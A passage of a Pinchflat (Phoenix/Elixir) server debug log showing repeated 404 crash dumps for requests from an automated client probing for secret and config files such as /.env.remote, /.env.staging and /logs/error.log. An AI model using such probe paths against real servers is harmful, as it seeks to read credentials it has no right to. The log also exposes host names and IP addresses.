"GIljzj3vn7z0q88AAKFx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 14:07:46.613 [info] GET /api/v1/config 14:07:46.614 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=485.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:46.615 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=486.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:46.615 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:46.615 [error] #PID<0.12390.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 94) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /api/v1/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 94, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12390.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/v1/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzlgsk809wFMAAKGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 94, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 94, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12390.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/v1/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzlgsk809wFMAAKGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 14:07:47.504 [info] GET /.env.remote 14:07:47.505 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1329.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:47.507 [debug] QUERY OK source="settings" db=0.9ms idle=1329.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:47.507 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:47.508 [error] #PID<0.12391.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 95) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.env.remote ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 95, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12391.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.remote", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzo1GagZNRfsAAKGR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 95, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 95, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12391.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.remote", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzo1GagZNRfsAAKGR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status (truncated) 14:07:48.196 [info] GET /.env.staging 14:07:48.198 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=691.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:48.199 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=691.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:48.199 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:48.200 [error] #PID<0.12392.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 96) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 96, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12392.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzraH-4Rku-YAAKGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 96, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 96, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12392.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzraH-4Rku-YAAKGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 14:07:49.086 [info] GET /logs/error.log 14:07:49.088 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=959.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:49.088 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=960.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:49.089 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:49.090 [error] #PID<0.12393.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 97) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /logs/error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 97, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12393.0>, params: %{}, path_info: ["logs", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzuubVq1sCjMAAKGx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 97, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 97, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12393.0>, params: %{}, path_info: ["logs", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzuubVq1sCjMAAKGx"} ], scheme: 